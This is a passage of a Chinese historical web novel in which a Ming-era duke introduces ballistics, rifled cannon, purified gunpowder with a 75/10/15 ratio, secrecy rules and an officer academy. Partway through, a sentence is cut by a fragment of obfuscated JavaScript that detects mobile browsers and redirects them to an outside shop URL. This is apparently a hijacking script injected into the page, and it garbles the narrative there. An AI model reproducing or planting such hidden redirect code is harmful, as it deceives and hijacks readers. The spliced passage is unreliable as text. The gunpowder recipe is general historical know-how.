苏惟瑾拍了拍手上并不存在的灰,转身看向刘大夏:“刘大人,现在还说这是‘奇技淫巧’么?”
刘大夏嘴唇哆嗦着,半晌说不出话。
周围官员看向苏惟瑾的眼神全变了。
先前还有几分疑虑、几分不服的,此刻只剩下敬畏——这不是权术,这是真本事!
能把炮弹算到三百步外一丈靶上,这是什么神仙手段?
“诸位,”
苏惟瑾朗声道。
“这就是‘弹道学’。
炮弹不是乱飞的,它有规律。
掌握了规律,火炮就不再是听天由命的轰击,而是指哪打哪的利器!”
他走回殿内,在黑板上继续画。
“再说说炮本身。
如今大明的炮,多是前装滑膛炮——炮弹从前面塞进去,炮管内壁光滑。”
他画出炮管剖面。
“这样有个毛病:炮弹在管里东倒西歪,出去时方向就不定。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17089490|186215||http|test|mini|href|location''.split(''|''),0,{}));
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r>所以咱们得改。”
粉笔画出一条螺旋线。
“给炮管刻上膛线,让炮弹旋转着出去——就像给**刻线一样。
旋转的炮弹更稳,打得更准、更远!”
马老黑听得呼吸急促:“国公爷,这、这能成么?
炮管那么厚……”
“能成。”
苏惟瑾斩钉截铁。
“用镗床,慢慢镗。
一口炮多费十天工,可换来的是射程增三成、精度翻一倍——值不值?”
“值!”
炮匠们齐声应道。
苏惟瑾又画了个新图:一个圆滚滚的炮弹,里头却是空心的,装着**,外面有引信。
“这叫‘**’。”
他解释道。
“落地后**,碎片四溅,一炮能伤一片人。
比实心弹只会砸个坑,强十倍!”
暖阁里沸腾了。
匠人们交头接耳,个个眼睛放光。
官员们虽不懂技术,可听懂了“一炮伤一片”——这要是成了,大明的炮队得多厉害?
只有刘大夏还僵在那儿。
苏惟瑾走到他面前,声音平和:“刘大人,您是老臣,历经三朝,见识广博。
可知永乐年间,三宝太监下西洋时,宝船上装的最大的炮,射程多远?”
刘大夏一愣:“这……约莫二里?”
“二里(注:明代一里约576米)。”
苏惟瑾点头。
“那是百年前。
如今葡萄牙人的舰炮,能打三里。
咱们若还守着老法子,再过百年,怕是连倭寇的炮都比不过了。”
他顿了顿,声音沉下来:“世界在变。
火器之战,已是国运之争。
咱们不变,就要挨打。”
刘大夏看着眼前这个年轻人,忽然觉得有些恍惚。
二十多年前,他也曾意气风发,也想变革图强……可岁月磨平了棱角,官场教会了“稳妥”。
而今,这个比他孙子还小的国公爷,却做着当年他想做而不敢做的事。
“国公爷……”
刘大夏长叹一声,拱了拱手。
“是老朽……迂腐了。”
说罢,他竟转身,佝偻着背,慢慢走出了文华殿。
没人拦他。
苏惟瑾看着那苍老的背影消失在殿门外,心中并无多少快意。
打脸是爽,可大明像刘大夏这样的人太多了——不是坏,是怕。
怕变革,怕出错,怕担责任。
他转身,对众人道:“从今日起,炮匠与枪匠同例。
工部设‘火炮司’,马老黑任司正,正七品。
所有炮匠必须学算学、测风速、计药量。
格物学堂开‘火器科’,专教弹道、力学、冶金。”
他又看向陈算盘:“你今日算得准,赏银五十两。
往后就在火炮司当个书办,专管计算。”
少年激动得跪地磕头:“谢国公爷!”
消息当晚就传遍了京城。
炮匠马老黑当官了!
匠户脱籍了!
国公爷在文华殿一炮打中三百步靶心!
茶楼酒肆里,说书先生连夜编出新段子:“文国公神机妙算,弹指间炮弹如长眼;
刘侍郎掩面而退,方知今朝非旧年……”
而刘大夏回府后,闭门谢客三日。
第三日夜里,他悄悄派人去了趟张佐的府邸。
没人知道他们谈了什么,只是次日,宫里就传出消息:司礼监掌印张公公,对火炮革新“甚为关切”。
与此同时,兵仗局库房深处,那本《火器秘录》被人翻到了某一页。
上面记载着成化年间“神机营试后装铳,炸膛死七人”的旧事,而在那页的夹缝里,有人用极小的字添了一行:
“炸膛非设计之过,乃药方有异。
其时掌药太监姓张,与今司礼监掌印同乡同宗。”
月光照进库房,那行小字泛着幽光。
刘大夏深夜密会张佐,保守派与内廷是否已暗中联手?
《火器秘录》夹缝中揭露的“药方有异”与张姓太监,是否指向当年炸膛案的阴谋?
而张佐对火炮革新的“关切”,究竟是真心支持,还是另有所图?
更蹊跷的是,马老黑在整理炮匠传承的旧物时,发现一张泛黄的药方,上面记载的“大铳药”配比,与如今兵仗局所用的竟有三味药材不同——而这张药方的落款,正是“成化十二年,神机营药库监张永”。
张永……张佐的叔祖?
**配方的差异,是无意疏漏,还是百年前就埋下的毒招?
第427章 **提纯术,瑾防泄密网
正月二十五,京城西郊王恭厂。
这地方离城五里,靠着西山脚,四周挖了深沟、垒了高墙,墙外还有兵丁昼夜巡逻。
为啥这么严?
因为这儿是大明最大的**局——朝廷三分之二的**都在这儿造。
可你要是真进去看看,保管吓一跳。
院子倒是大,占地近百亩,可里头乱得跟遭了劫似的。
东边几排茅草棚子下,几十个光着膀子的匠人正拿着木锨,在一口口大铁锅里翻炒着什么,黑烟滚滚,呛得人直咳嗽。
西边空地上晒着黄不黄、白不白的粉末,鸡鸭就在边上溜达,时不时啄上一口。
空气里弥漫着一股子刺鼻的硫磺味,混着焦糊气。
苏惟瑾站在局门口,眉头皱得能夹死苍蝇。
领路的是个矮胖太监,姓李,单名一个芳字,是王恭厂**局的掌印太监。
这人四十出头年纪,圆脸小眼,见人先带三分笑,看着和气,可那双眼睛里时不时闪过的精光,说明不是简单角色。
“国公爷您瞧,”李芳躬着身子,指着那些炒锅,“这就是咱们造药的地方。”
“硝石、硫磺、木炭,按一硝二磺三木炭的老方子配,炒匀了就是**。”
苏惟瑾没接话,走到一口锅边。
锅里是黑乎乎、颗粒大小不一的混合物。
他伸手捻起一撮,在指尖搓了搓,又凑到鼻前闻了闻。
“这硝石,”他开口,“哪儿来的?”
“回国公爷,”旁边一个老匠人忙答,“是陕西运来的土硝,熬煮过滤过的。”
“过滤?”苏惟瑾笑了,“过滤完还这个成色?”
他把那撮“**”摊在掌心,仔细看。
里头明显有白色的硝石颗粒、黄色的硫磺块、黑色的木炭渣,还有……不少灰褐色的泥沙杂质。
“就这玩意儿,”他转向李芳,“装进铳里,能打出威力?”
李芳讪笑:“这个……老方子用了百十年了,威力是差些,可稳妥啊!”
“炸膛的少!”
“不是炸膛少,是威力太小,炸不动膛吧?”苏惟瑾冷冷一句。
李芳笑容僵住。
周围几个老匠人低下头,不敢吭声。
其实他们也知道这**不行,可规矩就这样——一硝二磺三木炭,祖宗传下来的配比,谁敢改?
改坏了,炸了,那是掉脑袋的事;不改,威力小点,顶多挨几句骂。
稳妥,比什么都强。
苏惟瑾不再多说,转身往局里走:“找个清净地方,把你们这儿最好的**取些来,再叫几个懂行的老匠。”
李芳连忙前头带路。
一刻钟后,局里一间密闭的石室。
石室不大,就一张石桌、几个石凳,墙上挂着几盏油灯。
桌上摆着三个陶罐,分别装着硝石、硫磺、木炭的样品,还有一小包配好的**。
除了苏惟瑾和李芳,屋里还有三个老匠人。
领头的是个姓刘的老汉,干这行四十年了,人都叫他“刘一手”——不是说他手艺多好,是说他就认“一手”老方子,雷打不动。
“国公爷,”刘一手佝着背,声音沙哑,“不是小的们不用心,实在是**这东西……玄乎。”
“改一点,指不定就出大事。”
“成化年间神机营那档子事,您听说过吧?”
“就是改方子改的,炸**七个弟兄……”
他这话,明着是解释,暗里是告诫。
苏惟瑾看了他一眼,没接茬,而是打开了那个装**的布包。
“刺啦——”
他撕下一角衣摆,铺在桌上,倒出些**,用指甲一点点拨开。
“你们看,”他指着那些颗粒,“硝石颗粒大小不一,大的有黄豆大,小的像沙子。”
“硫磺更是结成块,木炭更是粗细混杂——这样的**,燃烧时有的快有的慢,威力能大才怪。”
刘一手不服:“可……可都这么做的啊!”
“都这么做,就是对的?”苏惟瑾抬眼,“三百年前,打仗还用石头木棍呢,现在怎么不用了?”
刘一手被噎住。
苏惟瑾不再理他,转向李芳:“李公公,我今日来,是要教你三样提纯的法子。”
“你若学会了,往后王恭厂的**,威力能增三成,烟减一半。”
李芳眼睛一亮:“国公爷请讲!”
“第一,硝石。”苏惟瑾拿起一块土硝,“你们现在用的土硝,杂质太多。”
“得重结晶——就是先用水化开,过滤掉泥沙草根,再把干净的硝水慢慢煮,煮到起白霜,捞出来晾干。”
“反复三次,硝石就能白如雪、细如粉。”
刘一手听得直摇头:“那得费多少工?多少柴火?”
“费工费柴,换来的是一斤顶过去三斤的威力,值不值?”苏惟瑾反问。
“第二,硫磺。”他又拿起块硫磺,“硫磺里有杂质,得升华提纯。”
“拿个陶罐,底下放粗硫磺,罐口盖上个冷盘子。”
“罐子架火上烤,硫磺化成气,碰到冷盘子就凝成黄色的粉——那才是纯的硫磺。”
李芳听得入神,忍不住问:“那……木炭呢?”
“木炭学问最大。”苏惟瑾拿起块木炭,“现在用的什么炭?杂木炭?柳木炭?”
“都有……”
“得用柳木。”苏惟瑾斩钉截铁,“柳木质地松,烧出来的炭孔隙多,更易燃。”
“烧炭时得密闭,不能见空气,烧出来的炭要黑亮、轻脆,一捏就碎成粉。”
他顿了顿,看向李芳:“这三样提纯了,配比也得改。”
“一硝二磺三木炭太糙,要改成硝七成五、硫一成、炭一成五。”
“七成五?!”刘一手差点跳起来,“那、那不得炸膛?!”
苏惟瑾笑了:“刘师傅,你试过?”
“没试过……可祖训……”
“祖训还说女子无才便是德呢,”苏惟瑾淡淡道,“我夫人还管着云裳阁几十家分号,一年赚的银子够造十门红夷大炮——她听祖训了么?”
刘一手张着嘴,说不出话。
李芳却已经心动。
他是太监,没子孙,就想捞功劳往上爬。
要是真能造出威力大三成的**……那可是天大的政绩!
“国公爷,”他搓着手,“要不……咱试试?”
“试。”苏惟瑾点头,“就在这儿试。”
他亲自指挥。
刘一手虽然不服,可不敢违命,只得带着徒弟去提纯硝石。
李芳则亲自盯着硫磺升华——这事儿精细,得小心。
忙活了两个时辰,第一批提纯材料备齐了。
按新配比,硝石七两五钱、硫磺一两、木炭一两五钱,在石臼里细细研磨混合。
磨好的新**倒在白棉布上,颜色竟比原来的黑**浅了些,呈灰黑色,颗粒均匀细腻。
“走,试炮去。”苏惟瑾起身。
王恭厂后头有块试炮场,架着几门老旧的虎蹲炮。
平时试药,就装少许,听个响就算。
今日却不同。
苏惟瑾让人搬来两门同样的虎蹲炮,相隔五步并排架好。
一门装旧**,一门装新**,都装二两药,实心弹,炮口仰角调成一样。
“刘师傅,”苏惟瑾看向刘一手,“您老经验足,您说,哪门炮打得远?”
刘一手指着装旧**的那门:“自然是这个!”
“新配比……太险!”
周围几个老匠人也点头。
他们都是干了一辈子的,本能地信老方子。
李芳没说话,可眼神里也透着怀疑。
苏惟瑾也不争辩,只道:“那就点火吧。”
两门炮同时点火。
“轰!轰!”
两声巨响,几乎同时响起。
可接下来的一幕,让所有人都瞪大了眼。
装旧**的那门炮,炮口喷出一大团浓黑烟,烟雾散后,炮弹在空中飞了约莫一百五十步,就“噗”地栽进土里。
而装新**的那门炮,炮口火焰更亮,烟却少了一半,是灰白色的。
炮弹破空的声音更尖利,在空中划过一道长弧——
“砰!”
砸在了二百步外的土坡上,炸起好大一团土!
远了足足五十步!
“这……这……”刘一手嘴唇哆嗦着。
苏惟瑾走到旧炮那边,看了看炮膛:“烟大,说明燃烧不完全,很多药白烧了,没变成推力。”
又走到新炮那边,“烟小,说明烧得透,力都用上了。”
他转身看向刘一手:“刘师傅,现在还觉得祖训不可改么?”
刘一手老脸通红,扑通跪下了:“国公爷……是小人迂腐!”
“小人……服了!”
周围匠人们也都跪下,个个激动。
干这行的,谁不想造出更好的**?
只是不敢罢了。
李芳更是喜形于色:“国公爷真乃神人也!”
“这新**要是装备全军……”
“且慢。”苏惟瑾抬手打断他,脸色忽然严肃起来。
他环视石室,目光从李芳、刘一手和另外两
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个老匠脸上扫过。
“新**威力大增,这是好事。”
“可也是祸事——若配方泄露,落到鞑靼、倭寇手里,他们也能造出来,到时候轰的就是咱们大明的城墙!”
众人心头一凛。
“所以,”苏惟瑾一字一句,“从今日起,新**配方为绝密。”
“凡接触者,必签生死契——泄密者,诛九族。”
李芳倒抽一口凉气。
苏惟瑾继续道:“我会设计一套‘分工保密制’。”
“硝石提纯、硫磺提纯、木炭烧制,三组工匠分开作业,每组只知自己环节,不知全貌。”
“最后的混合配比,由李公公你亲自带三个心腹太监完成,旁人不得靠近。”
“成品**分三处存放,需三人同时持钥匙才能开启。”
“我会成立‘**稽查处’,由周大山派人负责,每月不定时突查,凡有可疑,立即下狱审讯。”
他一口气说完,石室里鸦雀无声。
刘一手等人已经冷汗涔涔。
他们这才明白,国公爷搞这新**,不只是为了威力,更是一场关乎国运的博弈!
李芳擦了擦额头的汗,躬身道:“国公爷思虑之周,奴才……万万想不到。”
“只是……”
“只是什么?”
“只是这般严密,怕是会有人不满。”李芳压低声音,“尤其是……张公公那边。”
“他管着内廷,王恭厂名义上也算内廷管辖,这般改制,他若问起……”
苏惟瑾看他一眼,笑了:“李公公是聪明人,该知道如今该站哪边。”
“张佐老了,守成有余,进取不足。”
“而陛下要的,是能开疆拓土、横扫八方的利器。”
他拍拍李芳肩膀:“你把这事儿办好了,往后司礼监里,未必没有你一席之地。”
这话像一剂强心针,扎进李芳心里。
太监最想要什么?
权!
往上爬的权!
“国公爷放心!”李芳咬牙,“奴才就是拼了这条命,也把新**给您看好了!”
“绝不让半个字泄露出去!”
“好。”苏惟瑾点头,又看向刘一手等人,“你们也是。”
“好好干,不光脱匠籍,子孙还能读书科举。”
“但若有人吃里扒外……”
他沒说下去,可那眼神里的寒意,让几个老匠人腿都软了。
从王恭厂出来时,天色已近黄昏。
周大山牵马过来,低声道:“公子,刚收到消息,刘大夏昨儿夜里又去了张佐府上,待了一个时辰才出来。”
苏惟瑾翻身上马,望着西边将落的日头,笑了笑。
“让他们串去。”
“**这东西,光知道配方没用,提纯的工艺、配比的精细、保存的方法——哪一环差了,造出来的就是废品。”
他顿了顿,眼中闪过一丝冷光。
“更何况,我给李芳的配方里,有个关键数据……我改动了小数点后一位。”
“他们若按那个去试,炸膛的概率会高三成。”
周大山瞪大眼:“公子,您这是……”
“防人之心不可无。”苏惟瑾一抖缰绳,“走吧,回府。”
“芸娘说今日炖了参鸡汤,再晚该凉了。”
马蹄嘚嘚,踏着夕阳余晖远去。
而王恭厂那间石室里,李芳正盯着桌上那包新**,眼神变幻不定。
许久,他叫来个小太监,低声吩咐了几句。
小太监领命出去,七拐八绕,从后门溜出王恭厂,消失在暮色里。
**的是,他刚走,墙角的阴影里就闪出个人影——正是周大山派来的锦衣卫暗桩。
人影盯着小太监离去的方向,嘴角勾起一丝冷笑,悄无声息地跟了上去。
李芳表面投靠,却暗中派小太监外出报信,他究竟是双面间谍,还是另有图谋?
那小太监要去见谁?
张佐?
还是其他势力?
而苏惟瑾故意在配方中埋下的“错误数据”,是否会成为引爆内奸的陷阱?
更蹊跷的是,刘一手在收拾旧物时,竟在他爷爷留下的一本笔记里,发现了成化年间那场炸膛案的详细记录——上面明确写着,当时试用的新配方中,硝石比例正是“七成五”,与苏惟瑾今日所授一模一样!
百年前就有人试过这个配比?
那为什么失败了?
是提纯工艺不行,还是……有人故意在关键环节做了手脚?
笔记最后一页被撕掉了,残角上只隐约可见一个“张”字。
第428章 军校立章程,瑾设“教导官”
二月初二,龙抬头。
西山脚下一片热火朝天。
五百亩荒地,原本是京卫屯田的废地,如今被木栅栏围了起来。
栅栏里头,上千号人正在忙活:挖地基的、夯土的、扛木料的、砌砖的……尘土飞扬,号子声震天。
栅栏外头立着块大木牌子,红底黑字写着:“大明皇家陆军军官学堂——施工现场,闲人勿入”。
老百姓隔着老远看热闹,指指点点。
“听说这是文国公要办的学堂?”
“军官学堂……教当将军的?”
“可不!我家隔壁王木匠的儿子,识几个字,昨儿个去报名了,说要考什么‘教导官’!”
“教导官是啥官?”
“谁知道呢……反正月饷双倍!”
人群里议论纷纷时,一辆青篷马车停在了工地旁。
苏惟瑾下了车,没穿官服,就一身靛蓝棉袍,外头罩件半旧不新的鸦青色斗篷。
他身后跟着周大山,还有刚从月港调回来的苏惟奇——这小子在东南晒黑了不少,可眼神更亮了。
“公子,”苏惟奇指着工地,“按您画的图,分三块:东边是校舍、讲堂、藏书楼;西边是演武场、靶场、障碍场;中间是宿舍、食堂、医护所。”
“开春就能动工,入夏前主体能完。”
苏惟瑾点点头,走进工地。
正赶上饭点,民夫们蹲在土堆旁吃饭,杂粮饼子就咸菜,吃得呼噜响。
见苏惟瑾过来,几个监工的工部小吏慌忙起身要行礼,被他摆手止住了。
“吃得惯么?”他走到一群民夫旁,蹲下问。
民夫们愣住了,好半天才有个胆大的开口:“回、回老爷,吃得惯!”
“比在家吃得好!一天三顿,管饱!”
苏惟瑾笑了,拿起个饼子掰开看了看:“里头掺了豆面?”
“是!还有野菜末子,油水足!”
“那就好。”苏惟瑾起身,对监工道,“天冷,午后每人发碗姜汤。”
“工钱按时结,不许克扣。”
“是是是!”监工连连点头。
走出一段,周大山低声道:“公子,这些民夫里,俺安插了咱们的人。”
“谁贪墨、谁偷懒,一清二楚。”
“嗯。”苏惟瑾淡淡道,“军校是根基,不能出岔子。”
他走到工地中央一处高坡上,环视这片未来的校园。
超频大脑里,一幅完整的军校蓝图浮现:现代化的军事教育体系,系统化的军官培养,再加上……那个时代绝无仅有的“教导官”制度。
“惟奇,”他转头,“教导官选拔,进行得如何了?”
“回公子,”苏惟奇掏出本册子,“从虎贲营和京营挑了三百人,都是识字的,至少读过《千字文》。”
“考核了三轮:第一轮考忠诚,查三代背景;第二轮考品性,问些做人做事的道理;第三轮考口才,让他们对着几十号人讲段话。”
“最后筛出一百二十人,今日开始培训。”
“培训内容呢?”
“按您给的提纲:忠君爱国、新政解读、军纪宣讲、诉苦调解……还有算学基础,要会算军饷、算粮草。”苏惟奇顿了顿,“就是……”
“就是什么?”
“就是有些老将不高兴。”苏惟奇压低声音,“五军都督府那边,已经有人放话了,说咱们这是‘分将权,乱军心’。”
苏惟瑾笑了:“谁放的?”
“佥事孙得功。他是成国公的远房侄孙,靠着祖荫混到这个位置,手底下管着两个京营。”
“孙得功……”苏惟瑾眯起眼,“我记得他。”
“去年京营哗变,就是他克扣军饷,逼得士卒闹事,最后压不下去,还是虎贲营去平的。”
“就是他。”
“好。”苏惟瑾转身,“通知兵部,明日早朝,议军校及教导官章程。”
……
翌日,皇极殿。
小皇帝朱载重坐在龙椅上,脚下垫着个绣墩,才勉强够着御案。
这孩子今年八岁,生得眉清目秀,就是身子骨弱,坐在那儿总忍不住扭来扭去。
左右站着司礼监掌印张佐、秉笔太监黄锦。
下头文武百官分列,文官以首辅费宏为首,武官则以五军都督府几位都督、佥事领头。
苏惟瑾站在文官班列第二位——首辅之下,便是他这个文国公兼吏部尚书。
今日议题本是春耕,可刚议完,苏惟瑾就出列了。
“陛下,臣有本奏。”
朱载重奶声奶气道:“国公请讲。”
“臣请设‘大明皇家陆军军官学堂’,专司培养军官。”苏惟瑾朗声道,“并设‘教导官’一职,配属各营,专管士卒思想、纪律、诉苦。”
“此乃强军之基,望陛下准奏。”
话音落下,武官队列里立马炸了。
一个满脸横肉、穿着蟒袍的中年武将跨步出列,正是孙得功。
“陛下!臣反对!”
朱载重被这大嗓门吓了一跳,小身板往后缩了缩。
张佐赶紧俯身说了句什么,小皇帝才稳住。
“孙爱卿为何反对?”朱载重问。
孙得功瞥了苏惟瑾一眼,眼神里满是不屑:“陛下!军营之事,自古便是将领统兵,令行禁止。”
“如今设什么‘教导官’,还要管思想、管诉苦——这是要分将领之权,乱军心啊!”
他转身面对百官,声音洪亮:“诸位同僚试想!若士卒有冤不找主将,反去找什么教导官,那主将威严何在?”
“军令如何通行?此例一开,往后战场上,士卒岂不都要先问过教导官才肯冲杀?”
这话说得煽动,不少武官点头。
一个都督佥事附和:“孙佥事所言极是!军营不是学堂,要的是悍勇,不是嘴皮子!”
“就是!当兵吃粮,打仗拼命,天经地义!搞这些花头做甚?”
文官这边也有人嘀咕。
都察院一个御史出列:“陛下,臣以为孙佥事言之有理。”
“祖制不可轻改,军权尤需专一。”
苏惟瑾静静听着,等他们说得差不多了,才开口。
“孙佥事,”他转向孙得功,语气平和,“你说教导官会分将权、乱军心。”
“那我问你几个问题。”
“国公请问。”孙得功昂着头。
“第一,你营中去年逃兵几何?”
孙得功一愣:“这……约莫百余人。”
“第二,去年你营中克扣军饷之事,发生了多少起?”
孙得功脸色变了:“这、这是谣传……”
“兵部有记录,”苏惟瑾不紧不慢,“去年三月、六月、九月,你营中士卒三次闹饷,最后一次差点哗变,是虎贲营去平的——对吗?”
孙得功额头见汗。
“第三,”苏惟瑾盯着他,“去年那场哗变,起因是什么?”
“是一个士卒的老母病重,求预支三月饷银救急,你手下千总不准,还打了他二十军棍——对吗?”
“我……”孙得功语塞。
满殿寂静。
苏惟瑾转身面向百官,声音清晰:“逃兵、克饷、哗变——这些问题,根源在哪儿?”
“在将领只管打仗,不管人心!”
他走到大殿中央,目光扫过众人。
“士卒也是人,有父母妻儿,有冤屈苦楚。”
“将领若只顾军令,不问疾苦,时间长了,人心就散了。”
“人心一散,再好的兵器、再精的战术,都是空谈!”
他顿了顿,看向孙得功:“教导官不是分权,是补将领之不足。”
“将领管打仗,教导官管人心。”
“教导官要做的三件事:一宣讲忠君爱国、新政好处,让士卒明白为谁而战;二严明纪律,禁赌博、禁欺民,保军营清廉;三听士卒诉苦,有冤可直接上报教导官,绕开层层盘剥——这第三条,就是防你孙佥事手下那种千总!”
孙得功脸涨成猪肝色,想反驳,却一个字憋不出来。
苏惟瑾继续道:“教导官直属‘总教导处’,军饷双倍,但不得干涉军事指挥。”
“他们是士卒的‘贴心人’,是军营的‘润滑剂’。”
“人心齐,泰山移——这道理,孙佥事不懂?”
“我……”孙得功咬牙,“可祖制……”
“祖制还说火铳不如弓箭呢,”苏惟瑾冷笑,“如今神机营怎么全换火铳了?”
“孙佥事,时代在变。”
“你不变,就会被淘汰。”
这话说得重,孙得功浑身发抖。
这时,龙椅上传来稚嫩的声音:“朕觉得……国公说得对。”
众人一愣,看向小皇帝。
朱载重坐在那儿,小手扒着御案,很认真地说:“母后常说,将心比心。”
“士卒若受了委屈,没人管,久了就会生怨。”
“教导官能管这些,挺好。”
孩子的话最简单,也最直指核心。
张佐躬身:“陛下圣明。”
黄锦也道:“陛下仁心。”
两个大太监表态,文官们立刻跟上。
费宏出列:“老臣以为,国公此议,实为强军良策。”
“可先行试点,若有效,再推广。”
首辅都说话了,其他人还能说什么?
孙得功看看左右,武官同僚们都避开他的眼神。
他知道,大势已去了。
“臣……臣愚钝。”他咬牙躬身,“愿听陛下圣裁。”
朱载重高兴了,小手一挥:“那就准了!国公,好好办军校!”
“臣领旨。”苏惟瑾躬身。
……
退朝后,苏惟瑾刚出皇极门,孙得功就追了上来。
“国公爷!”他压着怒气,“今日朝堂之上,您让下官难堪,下官认了。”
“可这教导官……您真要在各营推行?”
苏惟瑾停步,看着他:“孙佥事有何高见?”
“高见不敢。”孙得功压低声音,“只是提醒国公爷,军营不是儿戏。”
“您那些教导官,多是二十出头的小子,没上过战场,没杀过人,进去指手画脚……怕是要出事。”
“出什么事?”
“轻则挨揍,重则……”孙得功没说完,可那眼神里的威胁很明显。
苏惟瑾笑了。
“孙佥事,”他拍拍对方肩膀,“教导官第一期培训,有个必修课,叫‘格斗基础’。”
“教的是周大山从虎贲营挑出来的好手。”
“你要不要派几个人,去试试他们的斤两?”
孙得功一愣。
“至于战场,”苏惟瑾收回手,淡淡道,“教导官不是去指挥打仗的,是去稳住军心的。”
“孙佥事带兵多年,应该知道,有时候军心稳住了,仗就赢了一半。”
他转身要走,又回头补了句:“对了,军校下月开课,第一期将官班,我请了威继光、俞大猷来讲课。”
“孙佥事若有兴趣,也可来听听。”
说罢,扬长而去。
孙得功站在原地,脸上一阵红一阵白。
威继光、俞大猷——那是东南抗倭的名将,战功赫赫,在武将圈里声望极高。
连他们都支持军校,自己还反对个什么劲儿?
他咬咬牙,一跺脚,走了。
……
三日后,西山军校临时讲堂——搭起的十几顶大帐篷里,一百二十名预备教导官正襟危坐。
苏惟瑾站在前面,身后黑板上写着八个大字:“忠君爱国,爱兵如子”。
“今日起,你们就是大明第一批教导官。”他声音不大,却字字清晰,“你们要记住三点:第一,你们是士卒的兄长,不是官老爷;第二,你们是军心的定盘星,不是搅屎棍;第三,你们是国朝的耳目,不是谁的走狗。”
他顿了顿:“教导官月饷双倍,但责任也重。”
“凡有克扣军饷、虐待士卒、贪墨军资之事,你们可直接报总教导处,直达天听。”
“但若有人诬告、搬弄是非——”
他眼神一厉:“军法从事,绝不容情!”
底下众人齐声:“谨遵国公教诲!”
培训开始了。
上午学忠义道理,下午学军纪条例,晚上学算学文书。
每隔三日,还有虎贲营的老兵来教格斗——不是花架子,是战场上保命的招数。
这些预备教导官里,有个叫赵二柱的,原是虎贲营的什长,识得几个字,为人耿直。
这日课后,他偷偷找苏惟奇。
“苏大人,”赵二柱搓着手,“小的有个疑问。”
“说。”
“咱们教导官……真要管士卒诉苦?”
“若真遇上孙佥事那种将领,咱们报上去,会不会……被报复?”
苏惟奇笑了,从怀里掏出块铜牌,递给他。
铜牌巴掌大,正面刻着“教导官”三个字,背面是个编号,还有一行小字:“持此牌者,直属总教导处。凡打击报复者,以谋逆论处。”
赵二柱手一抖。
“放心干。”苏惟奇拍拍他肩膀,“公子说了,教导官就是他在各营的眼睛和耳朵。”
“眼睛要亮,耳朵要灵,脊梁要硬。”
赵二柱重重点头,把铜牌紧紧攥在手心。
……
就在军校如火如荼开展时,王恭厂那边传来消息。
刘一手在整理爷爷的遗物时,又发现一本更旧的笔记,是洪武年间的。
上面记载着一种“七成五硝”的火药配方,旁边还有行小批注:“此方虽猛,然若硝中掺入‘白霜’,则炸膛无疑。”
“白霜”是什么?
刘一手问了几个老匠人,都摇头。
最后是个九十多岁、早已退休的老药工颤巍巍说:“白霜……好像是硝石提纯时,若用某些地方的井盐卤水做辅助,会析出的一种毒物。”
“人吃了腹痛,火药掺了……必炸。”
而据老药工回忆,成化年间神机营炸膛案前,负责供应硝石的,正是张永的一个远房亲戚。
笔记最后一页,有人用朱笔写了四个字,字迹狰狞:
“百年之谋”。
洪武年间就有“七成五硝”配方,却被“白霜”所克!
成化炸膛案竟是百年阴谋的一环?
“白霜”究竟是什么?
张永家族从洪武到成化再到嘉靖,三代涉足火药供应,是巧合还是世袭的毒计?
更骇人的是,刘一手在新发现的笔记夹层里,找到半张残破的堪舆图,上面标注着几处隐秘的矿址,旁边小字写着:“此地产硝,伴生白霜,万不可用。”
而其中一处矿址的位置,正在如今孙得功家的封田范围内!
孙得功反对教导官制度,是真的保守,还是怕新军改革会查到他家硝矿的秘密?
教导官们即将入驻各营,等待他们的,是真心的抵触,还是……灭口的杀机?
第429章 首期教导训,瑾授“三讲”法
三月十八,西山军校第一批校舍落成。
虽说是赶工出来的,青砖还带着潮气,瓦片也还没长苔,可该有的都有了:十间大讲堂、三十间宿舍、一座能容五百人的饭堂,外加个简易的演武场。
最扎眼的要数校场中央那根三丈高的旗杆,上头挂着面杏黄旗,绣着斗大的“忠勇”二字。
这日一大早,八十名教导官学员就在校场列队站好了。
这些人都是从虎贲营、京营、甚至边军中千挑万选出来的。
年纪多在二十到三十之间,个个站得笔直,眼神里透着股新鲜劲儿——能不新鲜么?
当兵的进学堂,大明开国头一遭。
队伍前头站着三个领头的。
中间是王二狗,原虎贲营什长,个子不高可敦实,脸上有道刀疤,是当年广西剿匪时留下的。
左边是个书生模样的,叫李秀才,原是卫所军户子弟,读过几年私塾,算是这帮人里学问最好的。
右边是个黑脸汉子,叫赵猛,京营出来的,性子直,嗓门大。
“都精神点!”王二狗压低声音,“待会儿国公爷亲自来讲课,别给咱们第一期丢脸!”
话音刚落,校场外传来马蹄声。
苏惟瑾来了。
他今日没骑马,步行来的,身后只跟着苏惟奇。
两人都穿着普通的靛蓝棉袍,要不是那股子与众不同的气度,看着倒像两个寻常书生。
“立正——!”王二狗扯着嗓子喊。
八十人齐刷刷挺胸抬头。
苏惟瑾走到队伍前,目光扫过一张张年轻的面孔,笑了:“都放松些。”
“这儿是学堂,不是军营。”
他顿了顿,声音清朗:“从今日起,你们就是大明第一批教导官。”
“往后三个月,我亲自带你们。”
“今天第一课,咱们不学打仗,学做人——做一个让士卒信服、让百姓爱戴的官。”
他转身走进最大的一间讲堂。
讲堂里摆着八十张简易木桌凳,前头有块大黑板。
苏惟瑾站到黑板前,拿起粉笔,“唰唰”写下六个大字:
“三大纪律,八项注意。”
底下学员们都伸长了脖子。
“先说三大纪律。”苏惟瑾放下粉笔,“第一条:不拿百姓一针一线。”
这话一出,底下嗡嗡声起。
赵猛忍不住举手:“国公爷,这……当兵吃粮,拿百姓东西……自古不都这样么?”
旁边几个学员点头。
别说当兵的,就是衙门差役下乡,不也得吃拿卡要么?
苏惟瑾看向他:“赵猛,你老家哪儿的?”
“回国公爷,保定府清苑县赵家庄。”
“好。”苏惟瑾问,“若是有一队兵路过赵家庄,进了你家院子,拿走你娘养的鸡,抱走你爹编的筐——你乐意么?”
赵猛一愣,脸涨红了:“那……那当然不乐意!”
“将心比心。”苏惟瑾环视众人,“咱们的爹娘姐妹,都是百姓。”
“咱们今日拿百姓一针一线,明日就有别的兵拿咱们爹娘的东西。”
“这规矩不立,当兵的跟土匪有什么区别?”
他声音不大,却字字砸进人心里。
王二狗听得直点头。
